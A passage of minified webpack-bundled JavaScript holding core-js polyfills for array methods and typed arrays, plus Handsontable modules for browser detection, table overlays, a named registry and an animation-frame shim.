(core.Object || {})[KEY] || Object[KEY]; var exp = {}; exp[KEY] = exec(fn); $export($export.S + $export.F * fails(function () { fn(1); }), 'Object', exp); }; /***/ }), /* 36 */ /***/ (function(module, exports, __webpack_require__) { // 0 -> Array#forEach // 1 -> Array#map // 2 -> Array#filter // 3 -> Array#some // 4 -> Array#every // 5 -> Array#find // 6 -> Array#findIndex var ctx = __webpack_require__(37); var IObject = __webpack_require__(70); var toObject = __webpack_require__(24); var toLength = __webpack_require__(16); var asc = __webpack_require__(529); module.exports = function (TYPE, $create) { var IS_MAP = TYPE == 1; var IS_FILTER = TYPE == 2; var IS_SOME = TYPE == 3; var IS_EVERY = TYPE == 4; var IS_FIND_INDEX = TYPE == 6; var NO_HOLES = TYPE == 5 || IS_FIND_INDEX; var create = $create || asc; return function ($this, callbackfn, that) { var O = toObject($this); var self = IObject(O); var f = ctx(callbackfn, that, 3); var length = toLength(self.length); var index = 0; var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined; var val, res; for (;length > index; index++) if (NO_HOLES || index in self) { val = self[index]; res = f(val, index, O); if (TYPE) { if (IS_MAP) result[index] = res; // map else if (res) switch (TYPE) { case 3: return true; // some case 5: return val; // find case 6: return index; // findIndex case 2: result.push(val); // filter } else if (IS_EVERY) return false; // every } } return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result; }; }; /***/ }), /* 37 */ /***/ (function(module, exports, __webpack_require__) { // optional / simple context binding var aFunction = __webpack_require__(38); module.exports = function (fn, that, length) { aFunction(fn); if (that === undefined) return fn; switch (length) { case 1: return function (a) { return fn.call(that, a); }; case 2: return function (a, b) { return fn.call(that, a, b); }; case 3: return function (a, b, c) { return fn.call(that, a, b, c); }; } return function (/* ...args */) { return fn.apply(that, arguments); }; }; /***/ }), /* 38 */ /***/ (function(module, exports) { module.exports = function (it) { if (typeof it != 'function') throw TypeError(it + ' is not a function!'); return it; }; /***/ }), /* 39 */ /***/ (function(module, exports) { var toString = {}.toString; module.exports = function (it) { return toString.call(it).slice(8, -1); }; /***/ }), /* 40 */ /***/ (function(module, exports) { // 7.2.1 RequireObjectCoercible(argument) module.exports = function (it) { if (it == undefined) throw TypeError("Can't call method on " + it); return it; }; /***/ }), /* 41 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; if (__webpack_require__(20)) { var LIBRARY = __webpack_require__(52); var global = __webpack_require__(6); var fails = __webpack_require__(4); var $export = __webpack_require__(0); var $typed = __webpack_require__(89); var $buffer = __webpack_require__(118); var ctx = __webpack_require__(37); var anInstance = __webpack_require__(64); var propertyDesc = __webpack_require__(50); var hide = __webpack_require__(28); var redefineAll = __webpack_require__(65); var toInteger = __webpack_require__(33); var toLength = __webpack_require__(16); var toIndex = __webpack_require__(156); var toAbsoluteIndex = __webpack_require__(54); var toPrimitive = __webpack_require__(44); var has = __webpack_require__(27); var classof = __webpack_require__(72); var isObject = __webpack_require__(7); var toObject = __webpack_require__(24); var isArrayIter = __webpack_require__(110); var create = __webpack_require__(55); var getPrototypeOf = __webpack_require__(57); var gOPN = __webpack_require__(56).f; var getIterFn = __webpack_require__(112); var uid = __webpack_require__(51); var wks = __webpack_require__(12); var createArrayMethod = __webpack_require__(36); var createArrayIncludes = __webpack_require__(79); var speciesConstructor = __webpack_require__(73); var ArrayIterators = __webpack_require__(114); var Iterators = __webpack_require__(61); var $iterDetect = __webpack_require__(82); var setSpecies = __webpack_require__(63); var arrayFill = __webpack_require__(113); var arrayCopyWithin = __webpack_require__(147); var $DP = __webpack_require__(17); var $GOPD = __webpack_require__(34); var dP = $DP.f; var gOPD = $GOPD.f; var RangeError = global.RangeError; var TypeError = global.TypeError; var Uint8Array = global.Uint8Array; var ARRAY_BUFFER = 'ArrayBuffer'; var SHARED_BUFFER = 'Shared' + ARRAY_BUFFER; var BYTES_PER_ELEMENT = 'BYTES_PER_ELEMENT'; var PROTOTYPE = 'prototype'; var ArrayProto = Array[PROTOTYPE]; var $ArrayBuffer = $buffer.ArrayBuffer; var $DataView = $buffer.DataView; var arrayForEach = createArrayMethod(0); var arrayFilter = createArrayMethod(2); var arraySome = createArrayMethod(3); var arrayEvery = createArrayMethod(4); var arrayFind = createArrayMethod(5); var arrayFindIndex = createArrayMethod(6); var arrayIncludes = createArrayIncludes(true); var arrayIndexOf = createArrayIncludes(false); var arrayValues = ArrayIterators.values; var arrayKeys = ArrayIterators.keys; var arrayEntries = ArrayIterators.entries; var arrayLastIndexOf = ArrayProto.lastIndexOf; var arrayReduce = ArrayProto.reduce; var arrayReduceRight = ArrayProto.reduceRight; var arrayJoin = ArrayProto.join; var arraySort = ArrayProto.sort; var arraySlice = ArrayProto.slice; var arrayToString = ArrayProto.toString; var arrayToLocaleString = ArrayProto.toLocaleString; var ITERATOR = wks('iterator'); var TAG = wks('toStringTag'); var TYPED_CONSTRUCTOR = uid('typed_constructor'); var DEF_CONSTRUCTOR = uid('def_constructor'); var ALL_CONSTRUCTORS = $typed.CONSTR; var TYPED_ARRAY = $typed.TYPED; var VIEW = $typed.VIEW; var WRONG_LENGTH = 'Wrong length!'; var $map = createArrayMethod(1, function (O, length) { return allocate(speciesConstructor(O, O[DEF_CONSTRUCTOR]), length); }); var LITTLE_ENDIAN = fails(function () { // eslint-disable-next-line no-undef return new Uint8Array(new Uint16Array([1]).buffer)[0] === 1; }); var FORCED_SET = !!Uint8Array && !!Uint8Array[PROTOTYPE].set && fails(function () { new Uint8Array(1).set({}); }); var toOffset = function (it, BYTES) { var offset = toInteger(it); if (offset < 0 || offset % BYTES) throw RangeError('Wrong offset!'); return offset; }; var validate = function (it) { if (isObject(it) && TYPED_ARRAY in it) return it; throw TypeError(it + ' is not a typed array!'); }; var allocate = function (C, length) { if (!(isObject(C) && TYPED_CONSTRUCTOR in C)) { throw TypeError('It is not a typed array constructor!'); } return new C(length); }; var speciesFromList = function (O, list) { return fromList(speciesConstructor(O, O[DEF_CONSTRUCTOR]), list); }; var fromList = function (C, list) { var index = 0; var length = list.length; var result = allocate(C, length); while (length > index) result[index] = list[index++]; return result; }; var addGetter = function (it, key, internal) { dP(it, key, { get: function () { return this._d[internal]; } }); }; var $from = function from(source /* , mapfn, thisArg */) { var O = toObject(source); var aLen = arguments.length; var mapfn = aLen > 1 ? arguments[1] : undefined; var mapping = mapfn !== undefined; var iterFn = getIterFn(O); var i, length, values, result, step, iterator; if (iterFn != undefined && !isArrayIter(iterFn)) { for (iterator = iterFn.call(O), values = [], i = 0; !(step = iterator.next()).done; i++) { values.push(step.value); } O = values; } if (mapping && aLen > 2) mapfn = ctx(mapfn, arguments[2], 2); for (i = 0, length = toLength(O.length), result = allocate(this, length); length > i; i++) { result[i] = mapping ? mapfn(O[i], i) : O[i]; } return result; }; var $of = function of(/* ...items */) { var index = 0; var length = arguments.length; var result = allocate(this, length); while (length > index) result[index] = arguments[index++]; return result; }; // iOS Safari 6.x fails here var TO_LOCALE_BUG = !!Uint8Array && fails(function () { arrayToLocaleString.call(new Uint8Array(1)); }); var $toLocaleString = function toLocaleString() { return arrayToLocaleString.apply(TO_LOCALE_BUG ? arraySlice.call(validate(this)) : validate(this), arguments); }; var proto = { copyWithin: function copyWithin(target, start /* , end */) { return arrayCopyWithin.call(validate(this), target, start, arguments.length > 2 ? arguments[2] : undefined); }, every: function every(callbackfn /* , thisArg */) { return arrayEvery(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined); }, fill: function fill(value /* , start, end */) { // eslint-disable-line no-unused-vars return arrayFill.apply(validate(this), arguments); }, filter: function filter(callbackfn /* , thisArg */) { return speciesFromList(this, arrayFilter(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined)); }, find: function find(predicate /* , thisArg */) { return arrayFind(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined); }, findIndex: function findIndex(predicate /* , thisArg */) { return arrayFindIndex(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined); }, forEach: function forEach(callbackfn /* , thisArg */) { arrayForEach(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined); }, indexOf: function indexOf(searchElement /* , fromIndex */) { return arrayIndexOf(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined); }, includes: function includes(searchElement /* , fromIndex */) { return arrayIncludes(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined); }, join: function join(separator) { // eslint-disable-line no-unused-vars return arrayJoin.apply(validate(this), arguments); }, lastIndexOf: function lastIndexOf(searchElement /* , fromIndex */) { // eslint-disable-line no-unused-vars return arrayLastIndexOf.apply(validate(this), arguments); }, map: function map(mapfn /* , thisArg */) { return $map(validate(this), mapfn, arguments.length > 1 ? arguments[1] : undefined); }, reduce: function reduce(callbackfn /* , initialValue */) { // eslint-disable-line no-unused-vars return arrayReduce.apply(validate(this), arguments); }, reduceRight: function reduceRight(callbackfn /* , initialValue */) { // eslint-disable-line no-unused-vars return arrayReduceRight.apply(validate(this), arguments); }, reverse: function reverse() { var that = this; var length = validate(that).length; var middle = Math.floor(length / 2); var index = 0; var value; while (index < middle) { value = that[index]; that[index++] = that[--length]; that[length] = value; } return that; }, some: function some(callbackfn /* , thisArg */) { return arraySome(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined); }, sort: function sort(comparefn) { return arraySort.call(validate(this), comparefn); }, subarray: function subarray(begin, end) { var O = validate(this); var length = O.length; var $begin = toAbsoluteIndex(begin, length); return new (speciesConstructor(O, O[DEF_CONSTRUCTOR]))( O.buffer, O.byteOffset + $begin * O.BYTES_PER_ELEMENT, toLength((end === undefined ? length : toAbsoluteIndex(end, length)) - $begin) ); } }; var $slice = function slice(start, end) { return speciesFromList(this, arraySlice.call(validate(this), start, end)); }; var $set = function set(arrayLike /* , offset */) { validate(this); var offset = toOffset(arguments[1], 1); var length = this.length; var src = toObject(arrayLike); var len = toLength(src.length); var index = 0; if (len + offset > length) throw RangeError(WRONG_LENGTH); while (index < len) this[offset + index] = src[index++]; }; var $iterators = { entries: function entries() { return arrayEntries.call(validate(this)); }, keys: function keys() { return arrayKeys.call(validate(this)); }, values: function values() { return arrayValues.call(validate(this)); } }; var isTAIndex = function (target, key) { return isObject(target) && target[TYPED_ARRAY] && typeof key != 'symbol' && key in target && String(+key) == String(key); }; var $getDesc = function getOwnPropertyDescriptor(target, key) { return isTAIndex(target, key = toPrimitive(key, true)) ? propertyDesc(2, target[key]) : gOPD(target, key); }; var $setDesc = function defineProperty(target, key, desc) { if (isTAIndex(target, key = toPrimitive(key, true)) && isObject(desc) && has(desc, 'value') && !has(desc, 'get') && !has(desc, 'set') // TODO: add validation descriptor w/o calling accessors && !desc.configurable && (!has(desc, 'writable') || desc.writable) && (!has(desc, 'enumerable') || desc.enumerable) ) { target[key] = desc.value; return target; } return dP(target, key, desc); }; if (!ALL_CONSTRUCTORS) { $GOPD.f = $getDesc; $DP.f = $setDesc; } $export($export.S + $export.F * !ALL_CONSTRUCTORS, 'Object', { getOwnPropertyDescriptor: $getDesc, defineProperty: $setDesc }); if (fails(function () { arrayToString.call({}); })) { arrayToString = arrayToLocaleString = function toString() { return arrayJoin.call(this); }; } var $TypedArrayPrototype$ = redefineAll({}, proto); redefineAll($TypedArrayPrototype$, $iterators); hide($TypedArrayPrototype$, ITERATOR, $iterators.values); redefineAll($TypedArrayPrototype$, { slice: $slice, set: $set, constructor: function () { /* noop */ }, toString: arrayToString, toLocaleString: $toLocaleString }); addGetter($TypedArrayPrototype$, 'buffer', 'b'); addGetter($TypedArrayPrototype$, 'byteOffset', 'o'); addGetter($TypedArrayPrototype$, 'byteLength', 'l'); addGetter($TypedArrayPrototype$, 'length', 'e'); dP($TypedArrayPrototype$, TAG, { get: function () { return this[TYPED_ARRAY]; } }); // eslint-disable-next-line max-statements module.exports = function (KEY, BYTES, wrapper, CLAMPED) { CLAMPED = !!CLAMPED; var NAME = KEY + (CLAMPED ? 'Clamped' : '') + 'Array'; var GETTER = 'get' + KEY; var SETTER = 'set' + KEY; var TypedArray = global[NAME]; var Base = TypedArray || {}; var TAC = TypedArray && getPrototypeOf(TypedArray); var FORCED = !TypedArray || !$typed.ABV; var O = {}; var TypedArrayPrototype = TypedArray && TypedArray[PROTOTYPE]; var getter = function (that, index) { var data = that._d; return data.v[GETTER](index * BYTES + data.o, LITTLE_ENDIAN); }; var setter = function (that, index, value) { var data = that._d; if (CLAMPED) value = (value = Math.round(value)) < 0 ? 0 : value > 0xff ? 0xff : value & 0xff; data.v[SETTER](index * BYTES + data.o, value, LITTLE_ENDIAN); }; var addElement = function (that, index) { dP(that, index, { get: function () { return getter(this, index); }, set: function (value) { return setter(this, index, value); }, enumerable: true }); }; if (FORCED) { TypedArray = wrapper(function (that, data, $offset, $length) { anInstance(that, TypedArray, NAME, '_d'); var index = 0; var offset = 0; var buffer, byteLength, length, klass; if (!isObject(data)) { length = toIndex(data); byteLength = length * BYTES; buffer = new $ArrayBuffer(byteLength); } else if (data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER) { buffer = data; offset = toOffset($offset, BYTES); var $len = data.byteLength; if ($length === undefined) { if ($len % BYTES) throw RangeError(WRONG_LENGTH); byteLength = $len - offset; if (byteLength < 0) throw RangeError(WRONG_LENGTH); } else { byteLength = toLength($length) * BYTES; if (byteLength + offset > $len) throw RangeError(WRONG_LENGTH); } length = byteLength / BYTES; } else if (TYPED_ARRAY in data) { return fromList(TypedArray, data); } else { return $from.call(TypedArray, data); } hide(that, '_d', { b: buffer, o: offset, l: byteLength, e: length, v: new $DataView(buffer) }); while (index < length) addElement(that, index++); }); TypedArrayPrototype = TypedArray[PROTOTYPE] = create($TypedArrayPrototype$); hide(TypedArrayPrototype, 'constructor', TypedArray); } else if (!fails(function () { TypedArray(1); }) || !fails(function () { new TypedArray(-1); // eslint-disable-line no-new }) || !$iterDetect(function (iter) { new TypedArray(); // eslint-disable-line no-new new TypedArray(null); // eslint-disable-line no-new new TypedArray(1.5); // eslint-disable-line no-new new TypedArray(iter); // eslint-disable-line no-new }, true)) { TypedArray = wrapper(function (that, data, $offset, $length) { anInstance(that, TypedArray, NAME); var klass; // `ws` module bug, temporarily remove validation length for Uint8Array // https://github.com/websockets/ws/pull/645 if (!isObject(data)) return new Base(toIndex(data)); if (data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER) { return $length !== undefined ? new Base(data, toOffset($offset, BYTES), $length) : $offset !== undefined ? new Base(data, toOffset($offset, BYTES)) : new Base(data); } if (TYPED_ARRAY in data) return fromList(TypedArray, data); return $from.call(TypedArray, data); }); arrayForEach(TAC !== Function.prototype ? gOPN(Base).concat(gOPN(TAC)) : gOPN(Base), function (key) { if (!(key in TypedArray)) hide(TypedArray, key, Base[key]); }); TypedArray[PROTOTYPE] = TypedArrayPrototype; if (!LIBRARY) TypedArrayPrototype.constructor = TypedArray; } var $nativeIterator = TypedArrayPrototype[ITERATOR]; var CORRECT_ITER_NAME = !!$nativeIterator && ($nativeIterator.name == 'values' || $nativeIterator.name == undefined); var $iterator = $iterators.values; hide(TypedArray, TYPED_CONSTRUCTOR, true); hide(TypedArrayPrototype, TYPED_ARRAY, NAME); hide(TypedArrayPrototype, VIEW, true); hide(TypedArrayPrototype, DEF_CONSTRUCTOR, TypedArray); if (CLAMPED ? new TypedArray(1)[TAG] != NAME : !(TAG in TypedArrayPrototype)) { dP(TypedArrayPrototype, TAG, { get: function () { return NAME; } }); } O[NAME] = TypedArray; $export($export.G + $export.W + $export.F * (TypedArray != Base), O); $export($export.S, NAME, { BYTES_PER_ELEMENT: BYTES }); $export($export.S + $export.F * fails(function () { Base.of.call(TypedArray, 1); }), NAME, { from: $from, of: $of }); if (!(BYTES_PER_ELEMENT in TypedArrayPrototype)) hide(TypedArrayPrototype, BYTES_PER_ELEMENT, BYTES); $export($export.P, NAME, proto); setSpecies(NAME); $export($export.P + $export.F * FORCED_SET, NAME, { set: $set }); $export($export.P + $export.F * !CORRECT_ITER_NAME, NAME, $iterators); if (!LIBRARY && TypedArrayPrototype.toString != arrayToString) TypedArrayPrototype.toString = arrayToString; $export($export.P + $export.F * fails(function () { new TypedArray(1).slice(); }), NAME, { slice: $slice }); $export($export.P + $export.F * (fails(function () { return [1, 2].toLocaleString() != new TypedArray([1, 2]).toLocaleString(); }) || !fails(function () { TypedArrayPrototype.toLocaleString.call([1, 2]); })), NAME, { toLocaleString: $toLocaleString }); Iterators[NAME] = CORRECT_ITER_NAME ? $nativeIterator : $iterator; if (!LIBRARY && !CORRECT_ITER_NAME) hide(TypedArrayPrototype, ITERATOR, $iterator); }; } else module.exports = function () { /* empty */ }; /***/ }), /* 42 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.setBrowserMeta = setBrowserMeta; exports.isChrome = isChrome; exports.isEdge = isEdge; exports.isIE = isIE; exports.isIE8 = isIE8; exports.isIE9 = isIE9; exports.isMSBrowser = isMSBrowser; exports.isMobileBrowser = isMobileBrowser; exports.isSafari = isSafari; var _object = __webpack_require__(2); var tester = function tester(testerFunc) { var result = { value: false }; result.test = function (ua, vendor) { result.value = testerFunc(ua, vendor); }; return result; }; var browsers = { chrome: tester(function (ua, vendor) { return /Chrome/.test(ua) && /Google/.test(vendor); }), edge: tester(function (ua) { return /Edge/.test(ua); }), ie: tester(function (ua) { return /Trident/.test(ua); }), ie8: tester(function () { return !document.createTextNode('test').textContent; }), ie9: tester(function () { return !!document.documentMode; }), mobile: tester(function (ua) { return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(ua); }), safari: tester(function (ua, vendor) { return /Safari/.test(ua) && /Apple Computer/.test(vendor); }) }; function setBrowserMeta() { var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}, _ref$userAgent = _ref.userAgent, userAgent = _ref$userAgent === void 0 ? navigator.userAgent : _ref$userAgent, _ref$vendor = _ref.vendor, vendor = _ref$vendor === void 0 ? navigator.vendor : _ref$vendor; (0, _object.objectEach)(browsers, function (_ref2) { var test = _ref2.test; return void test(userAgent, vendor); }); } setBrowserMeta(); function isChrome() { return browsers.chrome.value; } function isEdge() { return browsers.edge.value; } function isIE() { return browsers.ie.value; } function isIE8() { return browsers.ie8.value; } function isIE9() { return browsers.ie9.value; } function isMSBrowser() { return browsers.ie.value || browsers.edge.value; } function isMobileBrowser() { return browsers.mobile.value; } function isSafari() { return browsers.safari.value; } /***/ }), /* 43 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _core = _interopRequireDefault(__webpack_require__(165)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var registeredOverlays = {}; /** * Creates an overlay over the original Walkontable instance. The overlay renders the clone of the original Walkontable * and (optionally) implements behavior needed for native horizontal and vertical scrolling. * * @class Overlay */ var Overlay = /*#__PURE__*/ function () { _createClass(Overlay, null, [{ key: "registerOverlay", /** * Register overlay class. * * @param {String} type Overlay type, one of the CLONE_TYPES value * @param {Overlay} overlayClass Overlay class extended from base overlay class {@link Overlay} */ value: function registerOverlay(type, overlayClass) { if (Overlay.CLONE_TYPES.indexOf(type) === -1) { throw new Error("Unsupported overlay (".concat(type, ").")); } registeredOverlays[type] = overlayClass; } /** * Create new instance of overlay type. * * @param {String} type Overlay type, one of the CLONE_TYPES value * @param {Walkontable} wot Walkontable instance */ }, { key: "createOverlay", value: function createOverlay(type, wot) { return new registeredOverlays[type](wot); } /** * Check if specified overlay was registered. * * @param {String} type Overlay type, one of the CLONE_TYPES value * @returns {Boolean} */ }, { key: "hasOverlay", value: function hasOverlay(type) { return registeredOverlays[type] !== void 0; } /** * Checks if overlay object (`overlay`) is instance of overlay type (`type`). * * @param {Overlay} overlay Overlay object * @param {String} type Overlay type, one of the CLONE_TYPES value * @returns {Boolean} */ }, { key: "isOverlayTypeOf", value: function isOverlayTypeOf(overlay, type) { if (!overlay || !registeredOverlays[type]) { return false; } return overlay instanceof registeredOverlays[type]; } /** * @param {Walkontable} wotInstance */ }, { key: "CLONE_TOP", /** * @type {String} */ get: function get() { return 'top'; } /** * @type {String} */ }, { key: "CLONE_BOTTOM", get: function get() { return 'bottom'; } /** * @type {String} */ }, { key: "CLONE_LEFT", get: function get() { return 'left'; } /** * @type {String} */ }, { key: "CLONE_TOP_LEFT_CORNER", get: function get() { return 'top_left_corner'; } /** * @type {String} */ }, { key: "CLONE_BOTTOM_LEFT_CORNER", get: function get() { return 'bottom_left_corner'; } /** * @type {String} */ }, { key: "CLONE_DEBUG", get: function get() { return 'debug'; } /** * List of all availables clone types * * @type {Array} */ }, { key: "CLONE_TYPES", get: function get() { return [Overlay.CLONE_TOP, Overlay.CLONE_BOTTOM, Overlay.CLONE_LEFT, Overlay.CLONE_TOP_LEFT_CORNER, Overlay.CLONE_BOTTOM_LEFT_CORNER, Overlay.CLONE_DEBUG]; } }]); function Overlay(wotInstance) { _classCallCheck(this, Overlay); (0, _object.defineGetter)(this, 'wot', wotInstance, { writable: false }); // legacy support, deprecated in the future this.instance = this.wot; this.type = ''; this.mainTableScrollableElement = null; this.TABLE = this.wot.wtTable.TABLE; this.hider = this.wot.wtTable.hider; this.spreader = this.wot.wtTable.spreader; this.holder = this.wot.wtTable.holder; this.wtRootElement = this.wot.wtTable.wtRootElement; this.trimmingContainer = (0, _element.getTrimmingContainer)(this.hider.parentNode.parentNode); this.areElementSizesAdjusted = false; this.updateStateOfRendering(); } /** * Update internal state of object with an information about the need of full rendering of the overlay. * * @returns {Boolean} Returns `true` if the state has changed since the last check. */ _createClass(Overlay, [{ key: "updateStateOfRendering", value: function updateStateOfRendering() { var previousState = this.needFullRender; this.needFullRender = this.shouldBeRendered(); var changed = previousState !== this.needFullRender; if (changed && !this.needFullRender) { this.reset(); } return changed; } /** * Checks if overlay should be fully rendered * * @returns {Boolean} */ }, { key: "shouldBeRendered", value: function shouldBeRendered() { return true; } /** * Update the trimming container. */ }, { key: "updateTrimmingContainer", value: function updateTrimmingContainer() { this.trimmingContainer = (0, _element.getTrimmingContainer)(this.hider.parentNode.parentNode); } /** * Update the main scrollable element. */ }, { key: "updateMainScrollableElement", value: function updateMainScrollableElement() { this.mainTableScrollableElement = (0, _element.getScrollableElement)(this.wot.wtTable.TABLE); } /** * Make a clone of table for overlay * * @param {String} direction Can be `Overlay.CLONE_TOP`, `Overlay.CLONE_LEFT`, * `Overlay.CLONE_TOP_LEFT_CORNER`, `Overlay.CLONE_DEBUG` * @returns {Walkontable} */ }, { key: "makeClone", value: function makeClone(direction) { if (Overlay.CLONE_TYPES.indexOf(direction) === -1) { throw new Error("Clone type \"".concat(direction, "\" is not supported.")); } var clone = document.createElement('DIV'); var clonedTable = document.createElement('TABLE'); clone.className = "ht_clone_".concat(direction, " handsontable"); clone.style.position = 'absolute'; clone.style.top = 0; clone.style.left = 0; clone.style.overflow = 'hidden'; clonedTable.className = this.wot.wtTable.TABLE.className; clone.appendChild(clonedTable); this.type = direction; this.wot.wtTable.wtRootElement.parentNode.appendChild(clone); var preventOverflow = this.wot.getSetting('preventOverflow'); if (preventOverflow === true || preventOverflow === 'horizontal' && this.type === Overlay.CLONE_TOP || preventOverflow === 'vertical' && this.type === Overlay.CLONE_LEFT) { this.mainTableScrollableElement = window; } else { this.mainTableScrollableElement = (0, _element.getScrollableElement)(this.wot.wtTable.TABLE); } return new _core.default({ cloneSource: this.wot, cloneOverlay: this, table: clonedTable }); } /** * Refresh/Redraw overlay * * @param {Boolean} [fastDraw=false] */ }, { key: "refresh", value: function refresh() { var fastDraw = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; // When hot settings are changed we allow to refresh overlay once before blocking var nextCycleRenderFlag = this.shouldBeRendered(); if (this.clone && (this.needFullRender || nextCycleRenderFlag)) { this.clone.draw(fastDraw); } this.needFullRender = nextCycleRenderFlag; } /** * Reset overlay styles to initial values. */ }, { key: "reset", value: function reset() { if (!this.clone) { return; } var holder = this.clone.wtTable.holder; var hider = this.clone.wtTable.hider; var holderStyle = holder.style; var hidderStyle = hider.style; var rootStyle = holder.parentNode.style; (0, _array.arrayEach)([holderStyle, hidderStyle, rootStyle], function (style) { style.width = ''; style.height = ''; }); } /** * Destroy overlay instance */ }, { key: "destroy", value: function destroy() { new _eventManager.default(this.clone).destroy(); } }]); return Overlay; }(); var _default = Overlay; exports.default = _default; /***/ }), /* 44 */ /***/ (function(module, exports, __webpack_require__) { // 7.1.1 ToPrimitive(input [, PreferredType]) var isObject = __webpack_require__(7); // instead of the ES6 spec version, we didn't implement @@toPrimitive case // and the second argument - flag - preferred type is a string module.exports = function (it, S) { if (!isObject(it)) return it; var fn, val; if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val; if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; throw TypeError("Can't convert object to primitive value"); }; /***/ }), /* 45 */ /***/ (function(module, exports, __webpack_require__) { var META = __webpack_require__(51)('meta'); var isObject = __webpack_require__(7); var has = __webpack_require__(27); var setDesc = __webpack_require__(17).f; var id = 0; var isExtensible = Object.isExtensible || function () { return true; }; var FREEZE = !__webpack_require__(4)(function () { return isExtensible(Object.preventExtensions({})); }); var setMeta = function (it) { setDesc(it, META, { value: { i: 'O' + ++id, // object ID w: {} // weak collections IDs } }); }; var fastKey = function (it, create) { // return primitive with prefix if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it; if (!has(it, META)) { // can't set metadata to uncaught frozen object if (!isExtensible(it)) return 'F'; // not necessary to add metadata if (!create) return 'E'; // add missing metadata setMeta(it); // return object ID } return it[META].i; }; var getWeak = function (it, create) { if (!has(it, META)) { // can't set metadata to uncaught frozen object if (!isExtensible(it)) return true; // not necessary to add metadata if (!create) return false; // add missing metadata setMeta(it); // return hash weak collections IDs } return it[META].w; }; // add metadata on freeze-family methods calling var onFreeze = function (it) { if (FREEZE && meta.NEED && isExtensible(it) && !has(it, META)) setMeta(it); return it; }; var meta = module.exports = { KEY: META, NEED: false, fastKey: fastKey, getWeak: getWeak, onFreeze: onFreeze }; /***/ }), /* 46 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = staticRegister; exports.collection = void 0; function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } var collection = new Map(); exports.collection = collection; function staticRegister() { var namespace = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'common'; if (!collection.has(namespace)) { collection.set(namespace, new Map()); } var subCollection = collection.get(namespace); /** * Register an item to the collection. If the item under the same was exist earlier then this item will be replaced with new one. * * @param {String} name Identification of the item. * @param {*} item Item to save in the collection. */ function register(name, item) { subCollection.set(name, item); } /** * Retrieve the item from the collection. * * @param {String} name Identification of the item. * @returns {*} Returns item which was saved in the collection. */ function getItem(name) { return subCollection.get(name); } /** * Check if item under specyfied name is exists. * * @param {String} name Identification of the item. * @returns {Boolean} Returns `true` or `false` depends on if element exists in the collection. */ function hasItem(name) { return subCollection.has(name); } /** * Retrieve list of names registered from the collection. * * @returns {Array} Returns an array of strings with all names under which objects are stored. */ function getNames() { return _toConsumableArray(subCollection.keys()); } /** * Retrieve all registered values from the collection. * * @returns {Array} Returns an array with all values stored in the collection. */ function getValues() { return _toConsumableArray(subCollection.values()); } return { register: register, getItem: getItem, hasItem: hasItem, getNames: getNames, getValues: getValues }; } /***/ }), /* 47 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.requestAnimationFrame = requestAnimationFrame; exports.cancelAnimationFrame = cancelAnimationFrame; exports.isTouchSupported = isTouchSupported; exports.isWebComponentSupportedNatively = isWebComponentSupportedNatively; exports.hasCaptionProblem = hasCaptionProblem; exports.getComparisonFunction = getComparisonFunction; function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } // https://gist.github.com/paulirish/1579671 var lastTime = 0; var vendors = ['ms', 'moz', 'webkit', 'o']; var _requestAnimationFrame = window.requestAnimationFrame; var _cancelAnimationFrame = window.cancelAnimationFrame; for (var x = 0; x < vendors.length && !_requestAnimationFrame; ++x) { _requestAnimationFrame = window["".concat(vendors[x], "RequestAnimationFrame")]; _cancelAnimationFrame = window["".concat(vendors[x], "CancelAnimationFrame")] || 